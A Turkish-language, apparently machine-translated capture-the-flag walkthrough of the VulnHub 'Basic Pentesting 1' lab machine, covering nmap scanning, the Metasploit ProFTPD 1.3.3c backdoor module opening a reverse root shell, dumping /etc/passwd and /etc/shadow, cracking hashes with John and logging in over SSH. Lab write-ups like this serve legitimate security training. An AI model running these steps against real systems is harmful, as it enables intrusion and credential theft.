



CSEC Temel Pentesting 1

Temel pentesting 1 (CSEC)

CSEC, trusthub'da bulunan savunmasız bir makinedir. <https://www.vulnhub.com/entry/basic-pentesting-1,216/> Josiah Pierce'a çok teşekkürler

```
root@kali:~# nmap -sV -T4 192.168.56.104
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-08 11:40 EDT
Nmap scan report for 192.168.56.104
Host is up (0.00013s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      ProFTPD 1.3.3c
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:A2:DB:3F (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

Nmap kullanarak bir bağlantı noktası ve sürüm taraması ile başladım. Gördüğümüz gibi, düzenli olarak kullanılan birkaç liman ortaya çıktı.

- bağlantı noktası 21 - ftp
- bağlantı noktası 22 - ssh
- bağlantı noktası 80 - http

Nmap tarafından döndürülen hizmet sürümlerinde FTP'den başlayarak düşük meyveli meyve olup olmadığını görmek için searchsploit kullandım.

```
searchsploit proftpd-1.3.3c
```

Geri gelen, arka kapı komutunun yürütülmesi için bir Metasploit modülü idi. Metasploit'i Başlatma Modül için bir arama komutu çalıştırdım, kullanmak için atadım ve parametreleri ayarladım.

```
msf5 > search proftpd
```

```
use unix/ftp/proftpd_133c_backdoor
```

```
set RHOSTS <ip>
```

İstismar için herhangi bir seçeneği göz ardı edip etmediğimi görmek için eksik programı göster komutunu kullandım ve her şeyin doğru olduğundan emin olduğumda, çalıştırmayı yazdım ve saldırımı başlattım.

```
msf5 exploit(unix/ftp/proftpd_133c_backdoor) > run
[*] Started reverse TCP double handler on 192.168.56.101:4444
[*] 192.168.56.104:21 - Sending Backdoor Command
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo jHvQFE8wqrVnnf7n;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets ...
[*] Reading from socket B
[*] B: "jHvQFE8wqrVnnf7n\r\n"
[*] Matching ...
[*] A is input...
[*] Command shell session 1 opened (192.168.56.101:4444 → 192.168.56.104:36676) at 2020-04-08 11:36:21 -0400

whoami
root
█
```

Ters tcp kabuğu başarılı oldu. Bir whoami komutu verdikten ve kök dönüşünü izledikten sonra, başka hangi yolları bulabileceğimi görmenin zamanı gelmişti.

Arka kapım zaten yerinde iken, karma şifreleri çekmeye ve çevrimdışı kırmaya çalıştım. / Etc / shadow ve / etc / passwd üzerinde bir cat komutu çalıştırdım ve çıktığı sırasıyla shadow.txt ve passwd.txt adlı saldıran makinemdeki .txt dosyalarına kopyaladım.

```
[*] Command shell session 2 opened (192.168.56.101:4444 → 192.168.56.104:36682) at 2020-04-08 11:51:22 -0400

cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/
man:x:6:12:man:/var/cache/man:/usr/sbin/
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

root@kali: ~/VulnHub/csec
File Actions Edit View Help
root@kali: ~/VulnHub/csec
root@kali:~/VulnHub/csec# cat passwd.txt
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
```

Makineme bir terminal penceresinde geri passwd.txt ve shadow.txt dosyalarındaki unshadow komutunu kullandım . Bu parola kırma yardımcı programı Ripper John için biçimlendirilmiş jtr-hash.txt adlı bir dosya yarattı. Sonra John'u başlatmak için komutları çalıştırdım ve hashed dosyama işaret ettim.

```
unshadow passwd.txt shadow.txt > jtr-hash.txt
```

```
john jtr-hash.txt
```

Bir minuets hash çatladı. Ben sadece kırık vardı hash dosyası için kullanıcı ve şifre görüntülemek için sonraki komutu koştum.

```
john --show jtr-hash.txt
```

```
root@kali:~/VulnHub/csec# john jtr-hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
No password hashes left to crack (see FAQ)
root@kali:~/VulnHub/csec# john --show jtr-hash.txt
marlinspike:marlinspike:1000:1000:marlinspike,,,:/home/marlinspike:/bin/bash
1 password hash cracked, 0 left
```

Çıktıda görebildiğimiz gibi kullanıcı adı ve şifre aynıydı. Bazen zayıflık olabilen basit şeyler. Yalnızca kullanıcı adını kullanarak SSH'yi zorlayabilir ve aynı erişimi elde etmiş

olabilirim!

Her neyse şimdi kimlik bilgilerim olduğu için, odaklanan SSH hizmetine odaklandım ve giriş yapmaya çalıştım.

```
ssh marlinspike@192.168.56.102 password:marlinspike
```

```
root@kali:~/VulnHub/csec# ssh marlinspike@192.168.56.104
The authenticity of host '192.168.56.104 (192.168.56.104)' can't be established.
ECDSA key fingerprint is SHA256:VpmtqJLbtzleV/ibg84tX0hax9+PC3nojkeOPOVhdJU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.104' (ECDSA) to the list of known hosts.
marlinspike@192.168.56.104's password:
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.10.0-28-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

19 packages can be updated.
19 updates are security updates.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

marlinspike@vtcsec:~$
```

Elbette işe yaradı ve tüm bilgisayar korsanlarının söylediği gibi... IM IN. Son bir sudo su komutu verdim ve şifreyi kullanarak bir kök kabuğa erişim verildi .

```
marlinspike@vtcsec:~$ sudo su
[sudo] password for marlinspike:
root@vtcsec:/home/marlinspike# whoami
root
```

Şimdi biraz daha dürtme fırsatı geldi. HTTP hizmeti için varsayılan açılış sayfasını bulduğumdan ve meraktan dolayı ne bulabileceğimi görmek için birkaç anahtar dizin numaralandırmaya başladım.

```
cd /var/www/html
```

WordPress hizmeti çalıştıran secret adında bir dizin buldum!

```
marlinspike@vtcsec:/var/www$ ls
html
marlinspike@vtcsec:/var/www$ cd html
marlinspike@vtcsec:/var/www/html$ ls
index.html secret
marlinspike@vtcsec:/var/www/html$ cd secret
marlinspike@vtcsec:/var/www/html/secret$ ls
index.php      wp-admin      wp-content    wp-load.php   wp-signup.php
license.txt    wp-blog-header.php wp-cron.php   wp-login.php  wp-trackback.php
readme.html   wp-comments-post.php wp-includes   wp-mail.php   xmlrpc.php
wp-activate.php wp-config.php  wp-links-opml.php wp-settings.php
```

Şimdi bu 'gizli' WordPress'in hangi portta çalıştığını kontrol etmek istedim.

```
netstat -tupln | grep LISTEN
```

